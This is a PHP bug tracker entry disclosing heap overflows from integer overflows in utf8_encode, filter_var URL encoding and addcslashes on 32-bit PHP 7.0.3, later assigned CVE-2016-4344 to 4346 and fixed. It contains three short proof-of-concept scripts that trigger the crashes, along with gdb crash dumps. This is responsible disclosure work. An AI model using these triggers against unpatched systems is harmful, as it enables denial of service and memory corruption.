php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #71637 Multiple Heap Overflow due to integer overflows | xml/filter_url/addcslashes
Submitted: 2016-02-20 12:21 UTC Modified: 2016-04-28 17:02 UTC
From: manhluat at vnsecurity dot net Assigned: stas (profile)
Status: Closed Package: *General Issues
PHP Version: 7.0.3 OS:
Private report: No CVE-ID: 2016-4344
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: manhluat at vnsecurity dot net
New email:
PHP Version: OS:

 

 [2016-02-20 12:21 UTC] manhluat at vnsecurity dot net
Description:
------------
When I searched the string "zend_string_alloc" and look at those length, i found some integer-overflow issues which leading to heap overflow.

I've attached 03 various crash report below.

All of them are tested on PHP7.0.3-32bit.

* Fix:
- We should use safe string allocation method.



Test script:
---------------
<?php
//1.php
ini_set('memory_limit',-1);
utf8_encode(str_repeat("A",(0xffffffff/4)+0x1000));
?>

<?php
//2.php
ini_set('memory_limit',-1);
$a = str_repeat('@',0xffffffff/3 + 10);
filter_var($a, FILTER_SANITIZE_ENCODED); 
?>

<?php
//3.php
ini_set('memory_limit',-1);
addcslashes(str_repeat('A',0xffffffff/4 + 0x1337),'/');
?>

Expected result:
----------------
root@ubuntu:~/php/poc/heapoverflow_string# /root/php/32bit/php-7.0.3/sapi/cli/php 1.php
Segmentation fault (core dumped)
root@ubuntu:~/php/poc/heapoverflow_string# USE_ZEND_ALLOC=0 /root/php/32bit/php-7.0.3/sapi/cli/php 2.php
Segmentation fault (core dumped)
root@ubuntu:~/php/poc/heapoverflow_string# /root/php/32bit/php-7.0.3/sapi/cli/php 3.php
Segmentation fault (core dumped)
root@ubuntu:~/php/poc/heapoverflow_string# 

Actual result:
--------------
gdb-peda$ r /root/php/poc/heapoverflow_string/1.php 
Starting program: /root/php/32bit/php-7.0.3/sapi/cli/php /root/php/poc/heapoverflow_string/1.php

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x194ff0 
EBX: 0x0 
ECX: 0x41 ('A')
EDX: 0xf5e6b000 --> 0x1 
ESI: 0xf5e14020 --> 0xf5e74118 ('A' <repeats 200 times>...)
EDI: 0xf5e74118 ('A' <repeats 200 times>...)
EBP: 0xffff9f78 --> 0xffff9fb8 --> 0xffffa038 --> 0xffffa058 --> 0xffffa138 --> 0xffffa168 --> 0xffffc318 --> 0xffffd598 --> 0xffffd6b8 --> 0x0 
ESP: 0xffff9ef0 --> 0x41 ('A')
EIP: 0x8453939 (<xml_utf8_encode+478>:  mov    BYTE PTR [edx+eax*1+0x10],cl)
EFLAGS: 0x10293 (CARRY parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8453931 <xml_utf8_encode+470>:     mov    edx,DWORD PTR [ebp-0x60]
   0x8453934 <xml_utf8_encode+473>:     mov    ecx,edx
   0x8453936 <xml_utf8_encode+475>:     mov    edx,DWORD PTR [ebp-0x64]
=> 0x8453939 <xml_utf8_encode+478>:     mov    BYTE PTR [edx+eax*1+0x10],cl
   0x845393d <xml_utf8_encode+482>:     jmp    0x8453a94 <xml_utf8_encode+825>
   0x8453942 <xml_utf8_encode+487>:     cmp    DWORD PTR [ebp-0x60],0x7ff
   0x8453949 <xml_utf8_encode+494>:     ja     0x8453992 <xml_utf8_encode+567>
   0x845394b <xml_utf8_encode+496>:     mov    eax,DWORD PTR [ebp-0x64]
[------------------------------------stack-------------------------------------]
0000| 0xffff9ef0 --> 0x41 ('A')
0004| 0xffff9ef4 --> 0xf5e14100 --> 0xfff00000 
0008| 0xffff9ef8 --> 0x18 
0012| 0xffff9efc --> 0x8a8da40 --> 0x0 
0016| 0xffff9f00 --> 0x1 
0020| 0xffff9f04 --> 0x1 
0024| 0xffff9f08 --> 0x3fe6c00f 
0028| 0xffff9f0c --> 0x84536ae (<xml_encode_iso_8859_1>:        push   ebp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x08453939 in xml_utf8_encode (s=0xb5b95000 'A' <repeats 200 times>..., len=0x40000fff, encoding=0x8a8d5ba "ISO-8859-1") at /root/php/32bit/php-7.0.3/ext/xml/xml.c:589
589                             ZSTR_VAL(str)[ZSTR_LEN(str)++] = (char) c;
gdb-peda$ 




///////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////


gdb-peda$ set environment USE_ZEND_ALLOC=0
gdb-peda$ r /root/php/poc/heapoverflow_string/2.php 
Starting program: /root/php/32bit/php-7.0.3/sapi/cli/php /root/php/poc/heapoverflow_string/2.php

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0x20ba0 
EDX: 0x0 
ESI: 0xf5e18028 --> 0x8c78b80 --> 0x8562bd8 (<ZEND_DO_ICALL_SPEC_HANDLER>:      push   ebp)
EDI: 0x8c78b80 --> 0x8562bd8 (<ZEND_DO_ICALL_SPEC_HANDLER>:     push   ebp)
EBP: 0xffff9f48 --> 0xffff9f98 --> 0xffffa018 --> 0xffffa038 --> 0xffffa118 --> 0xffffa148 --> 0xffffc2f8 --> 0xffffd578 --> 0xffffd698 --> 0x0 
ESP: 0xffff9ef0 --> 0xf5e18028 --> 0x8c78b80 --> 0x8562bd8 (<ZEND_DO_ICALL_SPEC_HANDLER>:       push   ebp)
EIP: 0x84ec6bb (<_zval_copy_ctor_func+249>:     mov    DWORD PTR [eax],0x1)
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x84ec6b0 <_zval_copy_ctor_func+238>:        call   0x84bbdf4 <_emalloc>
   0x84ec6b5 <_zval_copy_ctor_func+243>:        mov    DWORD PTR [ebp-0x18],eax
   0x84ec6b8 <_zval_copy_ctor_func+246>:        mov    eax,DWORD PTR [ebp-0x18]
=> 0x84ec6bb <_zval_copy_ctor_func+249>:        mov    DWORD PTR [eax],0x1
   0x84ec6c1 <_zval_copy_ctor_func+255>:        cmp    DWORD PTR [ebp-0x1c],0x0
   0x84ec6c5 <_zval_copy_ctor_func+259>:        je     0x84ec6ce <_zval_copy_ctor_func+268>
   0x84ec6c7 <_zval_copy_ctor_func+261>:        mov    eax,0x106
   0x84ec6cc <_zval_copy_ctor_func+266>:        jmp    0x84ec6d3 <_zval_copy_ctor_func+273>
[------------------------------------stack-------------------------------------]
0000| 0xffff9ef0 --> 0xf5e18028 --> 0x8c78b80 --> 0x8562bd8 (<ZEND_DO_ICALL_SPEC_HANDLER>:      push   ebp)
0004| 0xffff9ef4 --> 0xf5e180e8 --> 0x202 
0008| 0xffff9ef8 --> 0x1 
0012| 0xffff9efc --> 0xf5e18098 --> 0x4b36c008 --> 0x1 
0016| 0xffff9f00 --> 0x14 
0020| 0xffff9f04 --> 0x1 
0024| 0xffff9f08 --> 0xf5e18098 --> 0x4b36c008 --> 0x1 
0028| 0xffff9f0c --> 0xf5e18098 --> 0x4b36c008 --> 0x1 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x084ec6bb in zend_string_alloc (persistent=0x0, len=0x5555555f) at /root/php/32bit/php-7.0.3/Zend/zend_string.h:123
123             GC_REFCOUNT(ret) = 1;
gdb-peda$ 






///////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////




gdb-peda$ r /root/php/poc/heapoverflow_string/3.php 
Starting program: /root/php/32bit/php-7.0.3/sapi/cli/php /root/php/poc/heapoverflow_string/3.php

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xf6000000 
EBX: 0x0 
ECX: 0x7c ('|')
EDX: 0x41 ('A')
ESI: 0xf5e14020 --> 0xf5e74134 ('A' <repeats 200 times>...)
EDI: 0xf5e74134 ('A' <repeats 200 times>...)
EBP: 0xffff9f58 --> 0xffff9fb8 --> 0xffffa038 --> 0xffffa058 --> 0xffffa138 --> 0xffffa168 --> 0xffffc318 --> 0xffffd598 --> 0xffffd6b8 --> 0x0 
ESP: 0xffff9dd0 --> 0xf5e552f9 --> 0x0 
EIP: 0x840848e (<php_addcslashes+651>:  mov    BYTE PTR [eax],dl)
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x840847e <php_addcslashes+635>:     lea    edx,[eax+0x1]
   0x8408481 <php_addcslashes+638>:     mov    DWORD PTR [ebp-0x154],edx
   0x8408487 <php_addcslashes+644>:     movzx  edx,BYTE PTR [ebp-0x159]
=> 0x840848e <php_addcslashes+651>:     mov    BYTE PTR [eax],dl
   0x8408490 <php_addcslashes+653>:     add    DWORD PTR [ebp-0x158],0x1
   0x8408497 <php_addcslashes+660>:     mov    eax,DWORD PTR [ebp-0x158]
   0x840849d <php_addcslashes+666>:     cmp    eax,DWORD PTR [ebp-0x14c]
   0x84084a3 <php_addcslashes+672>:     jb     0x8408335 <php_addcslashes+306>
[------------------------------------stack-------------------------------------]
0000| 0xffff9dd0 --> 0xf5e552f9 --> 0x0 
0004| 0xffff9dd4 --> 0x1 
0008| 0xffff9dd8 --> 0xffff9e4c --> 0x0 
0012| 0xffff9ddc --> 0x84b547f (<zend_mm_chunk_alloc_int+260>:  mov    eax,DWORD PTR [ebp-0x10])
0016| 0xffff9de0 --> 0xf5e69040 --> 0xb5a00000 --> 0x1 
0020| 0xffff9de4 --> 0xf5e00040 --> 0x0 
0024| 0xffff9de8 --> 0xf5e552f8 --> 0x2f ('/')
0028| 0xffff9dec --> 0xb5a00000 --> 0x1 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0840848e in php_addcslashes (str=0xb5a00000, should_free=0x0, what=0xf5e552f8 "/", wlength=0x1) at /root/php/32bit/php-7.0.3/ext/standard/string.c:3845
3845                    *target++ = c;
gdb-peda$ 

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-02-22 00:56 UTC] stas@php.net
-Status: Open +Status: Feedback
 [2016-02-22 00:56 UTC] stas@php.net
Could you please explain why you think that any of those are security issues?
 [2016-02-22 06:28 UTC] manhluat at vnsecurity dot net
-Status: Feedback +Status: Open
 [2016-02-22 06:28 UTC] manhluat at vnsecurity dot net
Basically, it is related to https://bugs.php.net/bug.php?id=71270

They are on same issues.

When sizeof allocated places is less than the its input.

You can see crash reports, it tried to over-write the next block and so on.

If #71270 was considered to be security issues, then i think these issues should be also.

*********************** SNIP ***********************

PHP_XML_API zend_string *xml_utf8_encode(const char *s, size_t len, const XML_Char *encoding)
{
...
	str = zend_string_alloc(len * 4, 0);
...

...
PHPAPI zend_string *php_addcslashes(zend_string *str, int should_free, char *what, size_t wlength)
{
	char flags[256];
	char *source, *target;
	char *end;
	char c;
	size_t  newlen;
	zend_string *new_str = zend_string_alloc(4 * ZSTR_LEN(str), 0);
...



static void php_filter_encode_url(zval *value, const unsigned char* chars, const int char_len, int high, int low, int encode_nul)
{
...
	str = zend_string_alloc(3 * Z_STRLEN_P(value), 0);

*********************** SNIP ***********************
 [2016-02-22 07:18 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 [2016-02-22 07:18 UTC] stas@php.net
Fix added to security repo as 57b997ebf99e0eb9a073e0dafd2ab100bd4a112d and to https://gist.github.com/smalyshev/06070802c576df949aab, Please verify.
 [2016-02-22 07:33 UTC] manhluat at vnsecurity dot net
well issues is fixed

since safe allocation method is used, exception will occur if integer-overflow happens.
 [2016-03-02 07:12 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=9cabc99fcef0f12b472e40811beab4eb2ef17e1b
Log: Fix bug #71637: Multiple Heap Overflow due to integer overflows
 [2016-03-02 07:12 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-03-02 07:12 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=57b997ebf99e0eb9a073e0dafd2ab100bd4a112d
Log: Fix bug #71637: Multiple Heap Overflow due to integer overflows
 [2016-04-28 17:00 UTC] remi@php.net
-CVE-ID: +CVE-ID: 2016-4344
 [2016-04-28 17:02 UTC] remi@php.net
CVE-2016-4344: ext/xml/xml.c
CVE-2016-4345: ext/filter/sanitizing_filters.c
CVE-2016-4346: ext/standard/string.c
 [2016-07-20 11:33 UTC] davey@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=9cabc99fcef0f12b472e40811beab4eb2ef17e1b
Log: Fix bug #71637: Multiple Heap Overflow due to integer overflows
 [2016-07-20 11:33 UTC] davey@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=57b997ebf99e0eb9a073e0dafd2ab100bd4a112d
Log: Fix bug #71637: Multiple Heap Overflow due to integer overflows
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Mon Nov 25 08:01:32 2024 UTC